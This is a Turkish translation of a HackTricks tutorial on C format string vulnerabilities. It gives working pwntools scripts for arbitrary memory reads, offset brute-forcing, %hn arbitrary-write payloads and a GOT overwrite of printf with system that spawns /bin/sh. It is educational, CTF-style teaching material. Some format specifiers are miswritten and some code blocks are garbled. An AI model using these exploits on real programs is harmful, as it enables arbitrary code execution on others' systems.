hacktricks/binary-exploitation/format-strings/README.md

11 KiB
Raw Blame History

Format Dizileri

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

Temel Bilgiler

C'de printf, bazı dizeleri yazdırmak için kullanılabilen bir işlevdir. Bu işlevin beklediği ilk parametre, biçimleyicilerle birlikte ham metindir. Beklenen diğer parametreler, ham metinden biçimleyicileri yerine koymak için değerlerdir.

Diğer zayıf işlevler sprintf() ve fprintf()'dir.

Zafiyet, bu işlevin ilk argümanı olarak bir saldırgan metnin kullanıldığı zaman ortaya çıkar. Saldırgan, printf biçim dizisi yeteneklerini kötüye kullanarak özel bir giriş oluşturabilir ve herhangi bir adresindeki herhangi bir veriyi okuyup yazabilir. Bu şekilde keyfi kod yürütebilir hale gelir.

Biçimleyiciler:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Örnekler:

  • Zafiyetli örnek:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normal Kullanım:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Eksik Argümanlarla:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf savunmasız:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

İşaretçilere Erişim

%<n>$x biçemi, n sayısını belirterek printf'e yığın üzerindeki n'inci parametreyi seçmesini sağlar. Dolayısıyla printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:

printf("%x %x %x %x")

ve birinci ile dördüncü parametre arasından okuyabilirsiniz.

Ya da şunu yapabilirsiniz:

printf("$4%x")

Ve dördüncüyü doğrudan okuyun.

Saldırganın pr**intf parametresini kontrol ettiğine dikkat edin, bu temelde girişi printf çağrıldığında yığında olacak anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.

{% hint style="danger" %} Bu girişi kontrol eden bir saldırgan, yığında rastgele adres ekleyebilecek ve printf'in bunlara erişmesini sağlayabilecek. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır. {% endhint %}

Rastgele Okuma

Biçimleyici %n$s'yi kullanarak printf'in n pozisyonundaki adresi almasını sağlamak ve ardından onu bir dizeymiş gibi yazdırmak mümkündür (0x00 bulunana kadar yazdır). Dolayısıyla, eğer ikili dosyanın temel adresi 0x8048000 ise ve kullanıcı girişinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını şu şekilde yazdırmak mümkündür:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Başlangıçta 0x8048000 adresini girişin başına koyamazsınız çünkü dize, o adresin sonunda 0x00 ile birleştirilecektir. {% endhint %}

Ofseti Bulma

Girişinize ofseti bulmak için 4 veya 8 bayt (0x41414141) gönderebilir ve ardından %1$x ve artırarak değeri A'ları alana kadar artırabilirsiniz.

Brute Force printf ofseti ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Ne Kadar Faydalı

Keyfi okumalar şu amaçlar için faydalı olabilir:

- Bellekten **binary**'yi **dökme**
- Hassas **bilgilerin** saklandığı belleğin belirli bölümlerine erişme (örneğin canary'ler, şifreleme anahtarları veya özel şifreler gibi bu [**CTF zorluğunda**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Keyfi Yazma**

Biçimlendirici **`$<num>%n`** **belirtilen adres**teki **yazılan bayt sayısını** \<num> parametresinde yığında yazar. Bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`$<num>%n`**'yi bir keyfi sayıyı bir keyfi adrese yazacak şekilde kullanabilir.

Neyse ki, 9999 sayısını yazmak için girişe 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-yazma>%<num>$n`** biçimlendiricisini kullanarak **`<num-yazma>`** sayısını **`num` pozisyonu tarafından işaret edilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Ancak, genellikle 0x08049724 gibi bir adres yazmak için (bu tek seferde yazılacak BÜYÜK bir sayıdır), $n yerine genellikle $hn kullanılır. Bu, yalnızca 2 Bayt yazmaya olanak tanır. Bu nedenle bu işlem iki kez yapılır, biri adresin en yüksek 2B'si için ve diğeri en düşük olanlar için.

Bu zafiyet, herhangi bir adrese herhangi bir şey yazmaya (keyfi yazma) olanak tanır.

Bu örnekte, amacımız daha sonra çağrılacak bir fonksiyonun GOT tablosundaki adresini üzerine yazmaktır. Bununla birlikte, bu, diğer keyfi yazma yöntemlerini suiistimal edebilir:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Kullanıcıdan argümanlarını alan bir fonksiyonun adresini system fonksiyonuna işaret edecek şekilde üzerine yazacağız.
Bahsedildiği gibi, adresi yazmak için genellikle 2 adımda gereklidir: İlk olarak adresin 2 Bayt'ını yazarsınız ve ardından diğer 2'sini. Bunun için $hn kullanılır.

  • HOB, adresin 2 yüksek baytını çağırır
  • LOB, adresin 2 düşük baytını çağırır

Sonra, format dizesinin nasıl çalıştığından dolayı [HOB, LOB]'nin önce en küçüğünü yazmanız ve ardından diğerini yazmanız gerekir.

Eğer HOB < LOB ise
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Eğer HOB > LOB ise
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools Şablonu

Bu tür bir zafiyet için bir exploit hazırlamak için bir şablon bulabilirsiniz:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Ya da bu temel örneği buradan bulabilirsiniz:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Format string zafiyetinin yazma işlemlerini yığın adreslerine yazmak ve bir tampon taşma türü zafiyetini sömürmek için kullanılabilir.

Diğer Örnekler ve Referanslar